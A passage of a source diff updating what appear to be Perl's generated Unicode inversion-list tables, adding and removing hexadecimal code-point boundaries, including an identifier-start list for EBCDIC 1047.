+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9CF,
+	0xA9D0,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFC5E,
+	0xFC64,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFA,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
 	0x2FA1E
 };
 
-static const UV XPosixAlpha_invlist[] = { /* for EBCDIC 1047 */
-	1315,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL__PERL_IDSTART_invlist[] = { /* for EBCDIC 1047 */
+	1215,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
@@ -54963,6 +167250,8 @@
 	0x5A,
 	0x62,
 	0x6A,
+	0x6D,
+	0x6E,
 	0x70,
 	0x79,
 	0x80,
@@ -55007,13 +167296,11 @@
 	0x2ED,
 	0x2EE,
 	0x2EF,
-	0x345,
-	0x346,
 	0x370,
 	0x375,
 	0x376,
 	0x378,
-	0x37A,
+	0x37B,
 	0x37E,
 	0x37F,
 	0x380,
@@ -55037,33 +167324,21 @@
 	0x55A,
 	0x561,
 	0x588,
-	0x5B0,
-	0x5BE,
-	0x5BF,
-	0x5C0,
-	0x5C1,
-	0x5C3,
-	0x5C4,
-	0x5C6,
-	0x5C7,
-	0x5C8,
 	0x5D0,
 	0x5EB,
 	0x5F0,
 	0x5F3,
-	0x610,
-	0x61B,
 	0x620,
-	0x658,
-	0x659,
-	0x660,
+	0x64B,
 	0x66E,
+	0x670,
+	0x671,
 	0x6D4,
 	0x6D5,
-	0x6DD,
-	0x6E1,
-	0x6E9,
-	0x6ED,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
 	0x6F0,
 	0x6FA,
 	0x6FD,
@@ -55070,8 +167345,12 @@
 	0x6FF,
 	0x700,
 	0x710,
-	0x740,
+	0x711,
+	0x712,
+	0x730,
 	0x74D,
+	0x7A6,
+	0x7B1,
 	0x7B2,
 	0x7CA,
 	0x7EB,
@@ -55080,29 +167359,31 @@
 	0x7FA,
 	0x7FB,
 	0x800,
-	0x818,
+	0x816,
 	0x81A,
-	0x82D,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
 	0x840,
 	0x859,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
 	0x8BE,
-	0x8D4,
-	0x8E0,
-	0x8E3,
-	0x8EA,
-	0x8F0,
-	0x93C,
+	0x904,
+	0x93A,
 	0x93D,
-	0x94D,
-	0x94E,
+	0x93E,
+	0x950,
 	0x951,
-	0x955,
-	0x964,
+	0x958,
+	0x962,
 	0x971,
-	0x984,
+	0x981,
 	0x985,
 	0x98D,
 	0x98F,
@@ -55116,23 +167397,17 @@
 	0x9B6,
 	0x9BA,
 	0x9BD,
-	0x9C5,
-	0x9C7,
-	0x9C9,
-	0x9CB,
-	0x9CD,
+	0x9BE,
 	0x9CE,
 	0x9CF,
-	0x9D7,
-	0x9D8,
 	0x9DC,
 	0x9DE,
 	0x9DF,
-	0x9E4,
+	0x9E2,
 	0x9F0,
 	0x9F2,
-	0xA01,
-	0xA04,
+	0x9FC,
+	0x9FD,
 	0xA05,
 	0xA0B,
 	0xA0F,
@@ -55147,22 +167422,12 @@
 	0xA37,
 	0xA38,
 	0xA3A,
-	0xA3E,
-	0xA43,
-	0xA47,
-	0xA49,
-	0xA4B,
-	0xA4D,
-	0xA51,
-	0xA52,
 	0xA59,
 	0xA5D,
 	0xA5E,
 	0xA5F,
-	0xA70,
-	0xA76,
-	0xA81,
-	0xA84,
+	0xA72,
+	0xA75,
 	0xA85,
 	0xA8E,
 	0xA8F,
@@ -55176,19 +167441,13 @@
 	0xAB5,
 	0xABA,
 	0xABD,
-	0xAC6,
-	0xAC7,
-	0xACA,
-	0xACB,
-	0xACD,
+	0xABE,
 	0xAD0,
 	0xAD1,
 	0xAE0,
-	0xAE4,
+	0xAE2,
 	0xAF9,
 	0xAFA,
-	0xB01,
-	0xB04,
 	0xB05,
 	0xB0D,
 	0xB0F,
@@ -55202,20 +167461,14 @@
 	0xB35,
 	0xB3A,
 	0xB3D,
-	0xB45,
-	0xB47,
-	0xB49,
-	0xB4B,
-	0xB4D,
-	0xB56,
-	0xB58,
+	0xB3E,
 	0xB5C,
 	0xB5E,
 	0xB5F,
-	0xB64,
+	0xB62,
 	0xB71,
 	0xB72,
-	0xB82,
+	0xB83,
 	0xB84,
 	0xB85,
 	0xB8B,
@@ -55235,18 +167488,8 @@
 	0xBAB,
 	0xBAE,
 	0xBBA,
-	0xBBE,
-	0xBC3,
-	0xBC6,
-	0xBC9,
-	0xBCA,
-	0xBCD,
 	0xBD0,
 	0xBD1,
-	0xBD7,
-	0xBD8,
-	0xC00,
-	0xC04,
 	0xC05,
 	0xC0D,
 	0xC0E,
@@ -55256,19 +167499,13 @@
 	0xC2A,
 	0xC3A,
 	0xC3D,
-	0xC45,
-	0xC46,
-	0xC49,
-	0xC4A,
-	0xC4D,
-	0xC55,
-	0xC57,
+	0xC3E,
 	0xC58,
 	0xC5B,
 	0xC60,
-	0xC64,
+	0xC62,
 	0xC80,
-	0xC84,
+	0xC81,
 	0xC85,
 	0xC8D,
 	0xC8E,
@@ -55280,21 +167517,13 @@
 	0xCB5,
 	0xCBA,
 	0xCBD,
-	0xCC5,
-	0xCC6,
-	0xCC9,
-	0xCCA,
-	0xCCD,
-	0xCD5,
-	0xCD7,
+	0xCBE,
 	0xCDE,
 	0xCDF,
 	0xCE0,
-	0xCE4,
+	0xCE2,
 	0xCF1,
 	0xCF3,
-	0xD01,
-	0xD04,
 	0xD05,
 	0xD0D,
 	0xD0E,
@@ -55302,21 +167531,15 @@
 	0xD12,
 	0xD3B,
 	0xD3D,
-	0xD45,
-	0xD46,
-	0xD49,
-	0xD4A,
-	0xD4D,
+	0xD3E,
 	0xD4E,
 	0xD4F,
 	0xD54,
-	0xD58,
+	0xD57,
 	0xD5F,
-	0xD64,
+	0xD62,
 	0xD7A,
 	0xD80,
-	0xD82,
-	0xD84,
 	0xD85,
 	0xD97,
 	0xD9A,
@@ -55327,20 +167550,12 @@
 	0xDBE,
 	0xDC0,
 	0xDC7,
-	0xDCF,
-	0xDD5,
-	0xDD6,
-	0xDD7,
-	0xDD8,
-	0xDE0,
-	0xDF2,
-	0xDF4,
 	0xE01,
-	0xE3B,
+	0xE31,
+	0xE32,
+	0xE33,
 	0xE40,
 	0xE47,
-	0xE4D,
-	0xE4E,
 	0xE81,
 	0xE83,
 	0xE84,
@@ -55364,15 +167579,15 @@
 	0xEAA,
 	0xEAC,
 	0xEAD,
-	0xEBA,
-	0xEBB,
+	0xEB1,
+	0xEB2,
+	0xEB3,
+	0xEBD,
 	0xEBE,
 	0xEC0,
 	0xEC5,
 	0xEC6,
 	0xEC7,
-	0xECD,
-	0xECE,
 	0xEDC,
 	0xEE0,
 	0xF00,
@@ -55381,28 +167596,26 @@
 	0xF48,
 	0xF49,
 	0xF6D,
-	0xF71,
-	0xF82,
 	0xF88,
-	0xF98,
-	0xF99,
-	0xFBD,
+	0xF8D,
 	0x1000,
-	0x1037,
-	0x1038,
-	0x1039,
-	0x103B,
+	0x102B,
+	0x103F,
 	0x1040,
 	0x1050,
-	0x1063,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
 	0x1065,
-	0x1069,
+	0x1067,
 	0x106E,
-	0x1087,
+	0x1071,
+	0x1075,
+	0x1082,
 	0x108E,
 	0x108F,
-	0x109C,
-	0x109E,
 	0x10A0,
 	0x10C6,
 	0x10C7,
@@ -55443,8 +167656,6 @@
 	0x1316,
 	0x1318,
 	0x135B,
-	0x135F,
-	0x1360,
 	0x1380,
 	0x1390,
 	0x13A0,
@@ -55464,21 +167675,17 @@
 	0x1700,
 	0x170D,
 	0x170E,
-	0x1714,
+	0x1712,
 	0x1720,
-	0x1734,
+	0x1732,
 	0x1740,
-	0x1754,
+	0x1752,
 	0x1760,
 	0x176D,
 	0x176E,
 	0x1771,
-	0x1772,
-	0x1774,
 	0x1780,
 	0x17B4,
-	0x17B6,
-	0x17C9,
 	0x17D7,
 	0x17D8,
 	0x17DC,
@@ -55486,15 +167693,13 @@
 	0x1820,
 	0x1878,
 	0x1880,
+	0x18A9,
+	0x18AA,
 	0x18AB,
 	0x18B0,
 	0x18F6,
 	0x1900,
 	0x191F,
-	0x1920,
-	0x192C,
-	0x1930,
-	0x1939,
 	0x1950,
 	0x196E,
 	0x1970,
@@ -55504,29 +167709,23 @@
 	0x19B0,
 	0x19CA,
 	0x1A00,
-	0x1A1C,
+	0x1A17,
 	0x1A20,
-	0x1A5F,
-	0x1A61,
-	0x1A75,
+	0x1A55,
 	0x1AA7,
 	0x1AA8,
-	0x1B00,
+	0x1B05,
 	0x1B34,
-	0x1B35,
-	0x1B44,
 	0x1B45,
 	0x1B4C,
-	0x1B80,
-	0x1BAA,
-	0x1BAC,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
 	0x1BB0,
 	0x1BBA,
 	0x1BE6,
-	0x1BE7,
-	0x1BF2,
 	0x1C00,
-	0x1C36,
+	0x1C24,
 	0x1C4D,
 	0x1C50,
 	0x1C5A,
@@ -55536,13 +167735,11 @@
 	0x1CE9,
 	0x1CED,
 	0x1CEE,
-	0x1CF4,
+	0x1CF2,
 	0x1CF5,
 	0x1CF7,
 	0x1D00,
 	0x1DC0,
-	0x1DE7,
-	0x1DF5,
 	0x1E00,
 	0x1F16,
 	0x1F18,
@@ -55615,8 +167812,6 @@
 	0x214F,
 	0x2160,
 	0x2189,
-	0x24B6,
-	0x24EA,
 	0x2C00,
 	0x2C2F,
 	0x2C30,
@@ -55655,10 +167850,6 @@
 	0x2DD7,
 	0x2DD8,
 	0x2DDF,
-	0x2DE0,
-	0x2E00,
-	0x2E2F,
-	0x2E30,
 	0x3005,
 	0x3008,
 	0x3021,
@@ -55676,7 +167867,7 @@
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -55686,7 +167877,7 @@
 	0x3400,
 	0x4DB6,
 	0x4E00,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
@@ -55699,9 +167890,9 @@
 	0xA62C,
 	0xA640,
 	0xA66F,
-	0xA674,
-	0xA67C,
 	0xA67F,
+	0xA69E,
+	0xA6A0,
 	0xA6F0,
 	0xA717,
 	0xA720,
@@ -55718,13 +167909,11 @@
 	0xA807,
 	0xA80B,
 	0xA80C,
-	0xA828,
+	0xA823,
 	0xA840,
 	0xA874,
-	0xA880,
-	0xA8C4,
-	0xA8C5,
-	0xA8C6,
+	0xA882,
+	0xA8B4,
 	0xA8F2,
 	0xA8F8,
 	0xA8FB,
@@ -55732,15 +167921,13 @@
 	0xA8FD,
 	0xA8FE,
 	0xA90A,
-	0xA92B,
+	0xA926,
 	0xA930,
-	0xA953,
+	0xA947,
 	0xA960,
 	0xA97D,
-	0xA980,
+	0xA984,
 	0xA9B3,
-	0xA9B4,
-	0xA9C0,
 	0xA9CF,
 	0xA9D0,
 	0xA9E0,
@@ -55750,15 +167937,23 @@
 	0xA9FA,
 	0xA9FF,
 	0xAA00,
-	0xAA37,
+	0xAA29,
 	0xAA40,
-	0xAA4E,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
 	0xAA60,
 	0xAA77,
 	0xAA7A,
 	0xAA7B,
 	0xAA7E,
-	0xAABF,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
 	0xAAC0,
 	0xAAC1,
 	0xAAC2,
@@ -55766,9 +167961,9 @@
 	0xAADB,
 	0xAADE,
 	0xAAE0,
-	0xAAF0,
+	0xAAEB,
 	0xAAF2,
-	0xAAF6,
+	0xAAF5,
 	0xAB01,
 	0xAB07,
 	0xAB09,
@@ -55784,7 +167979,7 @@
 	0xAB5C,
 	0xAB66,
 	0xAB70,
-	0xABEB,
+	0xABE3,
 	0xAC00,
 	0xD7A4,
 	0xD7B0,
@@ -55800,6 +167995,8 @@
 	0xFB13,
 	0xFB18,
 	0xFB1D,
+	0xFB1E,
+	0xFB1F,
 	0xFB29,
 	0xFB2A,
 	0xFB37,
@@ -55814,6 +168011,8 @@
 	0xFB46,
 	0xFBB2,
 	0xFBD3,
+	0xFC5E,
+	0xFC64,
 	0xFD3E,
 	0xFD50,
 	0xFD90,
@@ -55820,10 +168019,20 @@
 	0xFD92,
 	0xFDC8,
 	0xFDF0,
-	0xFDFC,
-	0xFE70,
-	0xFE75,
-	0xFE76,
+	0xFDFA,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
 	0xFEFD,
 	0xFF21,
 	0xFF3B,
@@ -55830,6 +168039,8 @@
 	0xFF41,
 	0xFF5B,
 	0xFF66,
+	0xFF9E,
+	0xFFA0,
 	0xFFBF,
 	0xFFC2,
 	0xFFC8,
@@ -55861,10 +168072,10 @@
 	0x102D1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
-	0x1037B,
+	0x10376,
 	0x10380,
 	0x1039E,
 	0x103A0,
@@ -55918,10 +168129,8 @@
 	0x109BE,
 	0x109C0,
 	0x10A00,
-	0x10A04,
-	0x10A05,
-	0x10A07,
-	0x10A0C,
+	0x10A01,
+	0x10A10,
 	0x10A14,
 	0x10A15,
 	0x10A18,
@@ -55949,20 +168158,20 @@
 	0x10CB3,
 	0x10CC0,
 	0x10CF3,
-	0x11000,
-	0x11046,
-	0x11082,
-	0x110B9,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
 	0x110D0,
 	0x110E9,
-	0x11100,
-	0x11133,
+	0x11103,
+	0x11127,
 	0x11150,
 	0x11173,
 	0x11176,
 	0x11177,
-	0x11180,
-	0x111C0,
+	0x11183,
+	0x111B3,
 	0x111C1,
 	0x111C5,
 	0x111DA,
@@ -55972,11 +168181,7 @@
 	0x11200,
 	0x11212,
 	0x11213,
-	0x11235,
-	0x11237,
-	0x11238,
-	0x1123E,
-	0x1123F,
+	0x1122C,
 	0x11280,
 	0x11287,
 	0x11288,
@@ -55988,9 +168193,7 @@
 	0x1129F,
 	0x112A9,
 	0x112B0,
-	0x112E9,
-	0x11300,
-	0x11304,
+	0x112DF,
 	0x11305,
 	0x1130D,
 	0x1130F,
@@ -56004,67 +168207,67 @@
 	0x11335,
 	0x1133A,
 	0x1133D,
-	0x11345,
-	0x11347,
-	0x11349,
-	0x1134B,
-	0x1134D,
+	0x1133E,
 	0x11350,
 	0x11351,
-	0x11357,
-	0x11358,
 	0x1135D,
-	0x11364,
+	0x11362,
 	0x11400,
-	0x11442,
-	0x11443,
-	0x11446,
+	0x11435,
 	0x11447,
 	0x1144B,
 	0x11480,
-	0x114C2,
+	0x114B0,
 	0x114C4,
 	0x114C6,
 	0x114C7,
 	0x114C8,
 	0x11580,
-	0x115B6,
-	0x115B8,
-	0x115BF,
+	0x115AF,
 	0x115D8,
-	0x115DE,
+	0x115DC,
 	0x11600,
-	0x1163F,
-	0x11640,
-	0x11641,
+	0x11630,
 	0x11644,
 	0x11645,
 	0x11680,
-	0x116B6,
+	0x116AB,
 	0x11700,
 	0x1171A,
-	0x1171D,
-	0x1172B,
 	0x118A0,
 	0x118E0,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
 	0x11C09,
 	0x11C0A,
-	0x11C37,
-	0x11C38,
-	0x11C3F,
+	0x11C2F,
 	0x11C40,
 	0x11C41,
 	0x11C72,
 	0x11C90,
-	0x11C92,
-	0x11CA8,
-	0x11CA9,
-	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -56082,7 +168285,7 @@
 	0x16AD0,
 	0x16AEE,
 	0x16B00,
-	0x16B37,
+	0x16B30,
 	0x16B40,
 	0x16B44,
 	0x16B63,
@@ -56092,17 +168295,19 @@
 	0x16F00,
 	0x16F45,
 	0x16F50,
-	0x16F7F,
+	0x16F51,
 	0x16F93,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
